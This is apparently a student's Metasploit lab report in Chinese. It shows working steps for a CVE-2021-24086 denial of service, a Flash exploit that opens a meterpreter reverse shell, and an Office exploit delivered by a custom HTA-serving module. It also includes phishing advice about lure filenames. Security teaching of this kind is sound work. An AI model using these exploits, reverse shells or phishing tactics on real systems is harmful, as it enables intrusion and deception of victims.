Exp6 MSF应用基础
一、实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
1 一个主动攻击实践
使用 CVE-2021-24086 对 win7 进行dos攻击
2021年2月9日微软发布了一个安全补丁程序,修复了编号为CVE-2021-24086的拒绝服务漏洞,该漏洞影响每个Windows版本的IPv6堆栈。该问题是由于IPv6分片处理不当造成的。
漏洞介绍
Windows IPv6协议栈存在一处拒绝服务漏洞,此漏洞的根本原因是IPv6的嵌套分片机制中,当尝试递归重组嵌套的分片时会计算内部有效载荷中包含的所有扩展标头,当重组扩展头约为0xffff字节的数据包时,在IPv6 ReassembleDatagram中发生的NULL指针取消引用,发生崩溃。
远程攻击者可通过向目标系统发送特制数据包来利用此漏洞,成功利用此漏洞可导致目标系统拒绝服务(蓝屏)。
本实验使用 Win7 作为靶机来进行渗透测试 Win7 环境说明:IP 地址 192.168.30.165 ,防火墙状态开启。
1 攻击前的准备
- 查看靶机IP地址
ipconfig
2 执行攻击
使用nessus扫描靶机漏洞
在浏览器地址栏中输入https://kali_ip:8834然后登录进入
点击Policies新建规则,plugins全选
点击myscan新建扫描,随后输入靶机ip地址开始扫描
点进去查看漏洞
执行攻击
- 目标靶机已蓝屏
2 一个针对浏览器的攻击
Kali Linux + Windows 7 sp1
渗透机:Kali Linux (ip:192.168.30.147)
靶机:Windows 7 sp1 (ip:192.168.30.165)
exp:cve-2018-4878.py
flash:flashplayer_activex_28.0.0.137.exe
使用msfvenom生成shell代码
生成代码,其中lhost为kali的ip地址,lport为自定义的端口号
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.30.147 lport=8888 -f python>shellcode.txt
- 查看代码文件
root@kali:~# cat shellcode.txt
- 进入CVE-2018-4878-master目录,编辑CVE-2018-4878.py文件
将上面msfvenom生成的代码覆盖掉原来的代码:
- 修改CVE-2018-4878.py下面的文件信息(后面会用到,之后保存修改退出):
- Kali Linux进入CVE-2018-4878路径,用Python执行CVE-2018-4878-master.py代码
root@kali:~/Desktop/CVE-2018-4878-master# python cve-2018-4878.py
root@kali:~/Desktop/CVE-2018-4878-master# ls -l
- Kali Linux开启Apache2服务,并将上面的2个文件放入/var/www/html目录中(apache web路径)
root@kali:~/Desktop/CVE-2018-4878-master# service apache2 start
root@kali:~/Desktop/CVE-2018-4878-master# cp index2.html /var/www/html/index2.html
root@kali:~/Desktop/CVE-2018-4878-master# cp exploit.swf /var/www/html/exploit.swf
此时,Kali Linux上Web服务启动,并且具备index.html这个页面。只要靶机启用flash并访问了这个页面,则可以直接被控制。
- Kali Linux开启Shell会话监听
使用handler监听模块
msf > use exploit/multi/handler
回弹一个tcp连接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
设置kali渗透机的ip地址
msf exploit(handler) > set lhost 192.168.30.147
设置监听端口,这个需跟上面msfvenom设置的端口一致
msf exploit(handler) > set lport 8888
开启监听,等待肉鸡上线
msf exploit(handler) > exploit
- Windows7 安装flash插件,并用IE浏览器访问页面
- 使用Win7内置IE 8浏览器访问页面:http://192.168.30.147/index.html
- Kali Linux 上获取meterpreter shell,并进行管理
3 一个针对客户端的攻击,以office为例
漏洞:CVE-2018-0802
安装office。
检查是否存在漏洞
下载脚本:https://github.com/Ridter/RTF_11882_0802/
输入下面的命令:
python RTF_11882_0802.py -c "cmd.exe /c calc.exe" -o calc.doc
双击打开calc.doc,如果弹出计算器说明存在漏洞:
- 漏洞利用
- 将下面的脚本写入到PS_shell.rb。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end
将PS_shell.rb放置在/usr/share/metasploit-framework/modules/exploits/windows/smb/
打开msf,执行msfconsole。进去后记得要 reload_all。选择PS_shell脚本,然后开启监听
msf6 > use exploits/windows/smb/PS_shell
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/PS_shell) > show options
Module options (exploit/windows/smb/PS_shell):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.30.147 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/smb/PS_shell) > set uripath wpy
uripath => wpy
msf6 exploit(windows/smb/PS_shell) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.30.147:4444
[*] Using URL: http://0.0.0.0:8080/wpy
[*] Local IP: http://192.168.30.147:8080/wpy
msf6 exploit(windows/smb/PS_shell) > [*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.30.147:8080/wpy"
生成病毒文件:
python RTF_11882_0802.py -c "mshta http://192.168.30.147:8080/wpy" -o new.doc
new.doc打开之后就是普通word文档的样子,看不出什么异常:
但是打开之后,kali成功收到反弹shell,权限为当前登录用户权限。
这个远程代码执行漏洞最关键的一步是在被攻击机器上打开带病毒的word文件,所以实际场景中钓鱼比较多,取一个让人有打开欲望的文件名,比如之前通报过的新冠感染诊断,武汉旅行信息搜集表等,如果刚好你的系统装了office且没有即时打补丁,恭喜你~
4 辅助模块的使用
metasploit的auxiliary(辅助模块): 包含扫描、fuzz测试、漏洞挖掘、⽹络协议欺骗等程序。
下面,使用PortScan进行端口扫描
命令如下:
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.30.165
exploit
结果如下:
我们可以看到,metasploit帮助我们获取了目标已经开放的端口,由此我们可以推测出靶机可能存在的漏洞和可能提供的服务,进而完成后续攻击。
二、问题回答
1 用自己的话解释什么是exploit,payload,encode
exploit:exploit字面上的意思是“开拓、开发”,而在破解圈子里面,公认的概念可能是“漏洞及其利用”。通俗的说,exploit就是利用一切可以利用的工具、采用一切可以采用的方法、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取资料文档、添加自定义用户、甚至侵入系统获得管理员权限控制整个系统的最终目的。
payload:payload 可以理解为一系列信息中最为关键的信息。
encode:通过一定规律的编码算法,将对metaspolit、CS生成的shellcode进行编码/模糊处理/变形,从原始shellcode中删除所有无效的字符,从而逃避杀毒软件检测。
2 实践总结与体会
报错记录:
┌──(root20191317wpy)-[/home/wpy20191317/桌面/CVE-2021-24086]
└─# python3 cve-2021-24086.py
66 fragments, total size 0xfff8
Traceback (most recent call last):
File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 388, in <module>
main()
File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 384, in main
pull_the_trigger(args)
File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 370, in pull_the_trigger
sendp(frags, iface= args.iface)
File "/usr/lib/python3/dist-packages/scapy/sendrecv.py", line 376, in sendp
socket = socket or conf.L2socket(iface=iface, *args, **kargs)
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 411, in __init__
set_promisc(self.ins, self.iface)
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 147, in set_promisc
mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"")
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 360, in get_if_index
return int(struct.unpack("I", get_if(iff, SIOCGIFINDEX)[16:20])[0])
File "/usr/lib/python3/dist-packages/scapy/arch/common.py", line 31, in get_if
return ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8")))
OSError: [Errno 19] No such device
解决网卡问题,我的网卡名称为eth0,但是脚本中默认为eth1,改过来就好了。
这次实验具体难度体现在,需要找到不同的漏洞进行操作,但是具体操作在网络上都可以找到,所以难度可能就只有在实践过程中遇到过的奇奇怪怪的报错。
3 离实战还缺些什么技术或步骤?
首先是能扫描到局域网内主机或者其他主机的扫描器,其次就是判断扫描到的主机是否安装了我们想要利用的漏洞的补丁包,然后是如果主机有杀毒软件我们应该如何绕过杀毒软件。最后是构造攻击手段,并且通过钓鱼网站或者社会工程学等方式令主机点击钓鱼链接或者木马程序或者我们构造好的恶意文件。
Exp6 MSF应用基础的更多相关文章
- 20145302张薇 《网络对抗》MSF应用基础
20145302张薇 <网络对抗>MSF应用基础 实验内容 掌握metasploit的基本应用方式 1.主动攻击--ms08_067 2.针对浏览器的攻击--ms11_050 3.针对客户 ...
- 20145309李昊《网络对抗》MSF应用基础
实验内容 掌握metasploit的基本应用方式1.主动攻击——ms08_0672.针对浏览器的攻击——ms11_0503.针对客户端的攻击——Adobe4.成功应用一个辅助模块——scanner/d ...
- 2018-2019-2 20165330《网络对抗技术》Exp5 MSF基础应用
目录 基础问题 相关知识 实验目的 实验内容 实验步骤 离实战还缺些什么技术或步骤? 实验总结与体会 实验目的 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路 返回目 ...
- 2018-2019-2 20165312《网络攻防技术》Exp6 信息搜集与漏洞扫描
2018-2019-2 20165312<网络攻防技术>Exp6 信息搜集与漏洞扫描 目录 一.信息搜集技术与隐私保护--知识点总结 二.实验步骤 各种搜索技巧的应用 Google Hac ...
- [书目20160218]微软软件研发的奥秘:MSF精髓
目录 第一部分 解决方案交付基础 第1章 什么是MSF,它适合你吗 2 1.1 MSF的历史和起源 2 1.2 为什么是“框架” 3 1.3 MSF有何不同 5 1.4 MSF第四版的要素 5 1.5 ...
- msf stagers开发不完全指北(四): msf 中使用域前置技术隐藏流量
msf 中使用域前置技术隐藏流量 前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段,接下来将慢慢分析 reverse_http,这篇文章并不会围绕 stagers 进行讲解,这 ...
- 2017-2018-2 《网络对抗技术》 20155322 Exp4 恶意代码分析
[-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实践过程 2.1-Mac下网络监控 2.2-Windows下网络监控 2.3-Mac下恶意软件分析 2 ...
- 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践
#2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...
- 2017-2018-2 《网络对抗技术》 20155322 Exp 5 MSF基础应用
[-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实践过程 2.1-情报收集 2.2-主动攻击实践-ms08_067 2.3-浏览器攻击实践-many* ...
- 20165223《网络对抗技术》Exp5 MSF基础应用
目录 -- MSF基础应用 实验说明 实验任务内容 基础问题回答 实验内容 主动攻击 ms17_10_eternalblue(成功) ms17_10_psexec(成功) ms08_067_netap ...
随机推荐
- springboot项目中swagger配置
1.导入依赖 查看代码 <dependency> <groupId>com.github.xiaoymin</groupId> <artifactId> ...
- .net 字符串逗号隔开去重
1.本文背景 同时输入/选择多条信息或批量输入/选择多条信息形成一个逗号隔开的字符串集,会出现数据重复的错误情况,产生不必要的脏数据,本文依次收集测试几种有效的去重方法. 2.代码实现 1)方法一:L ...
- 学习Java Day23
今天学习了包访问,没有指定public或private的部分可以被同一个包中的所有方法访问
- Vue组件之间的通信方式都有哪些?
一.组件间通信的概念 我们通常把组件间通信这个词进行拆分 组件 通信 都知道组件是vue最强大的功能之一,vue中每一个.vue我们都可以视之为一个组件通信指的是发送者通过某种媒体以某种格式来传递信息 ...
- aop中的名词解释
aop中的名词解释 aop spring Joinpoint(连接点) 目标对象中所有可以增强的方法叫做连接点 Pointcut(切入点) 目标对象中要增强的的方法 Advice(通知/增强) 增强的 ...
- DevOps 与 FinOps:二者可以协同吗?
DevOps 是一个强调开发人员和运营团队之间的协作和自动化以创建更高效的软件开发生命周期的过程.随着云业务成本逐年攀升,甚至超过传统基础设施成本,许多企业开始转向 FinOps 以有效降本增效.Fi ...
- 优化 Win11 资源管理器打开文件夹速度
打开"高级系统设置",点击"性能"设置,性能选项中勾选如上图选中的项,可以一定程度上提升 Win11 资源管理器打开文件夹的速度: "窗口内动画控件和 ...
- AI绘画--tag资源
tag生成器:https://wolfchen.top/tag/ 资源整合表:https://wolfchen.top/tag/doc.html 魔咒百科词典:https://aitag.top/ N ...
- mybatis中的土鸡杂鱼
mybatis中的土鸡杂鱼 目录 mybatis中的土鸡杂鱼 1.mapper接口为什么要和mapper.xml在同一个路径下? 2.主键生成为什么配置一个字段就可以? 原理 3.为什么默认使用的是预 ...
- mybatis处理一对多的映射关系
实体类 package org.example.entity; import java.util.List; public class Dept { private Integer deptId; p ...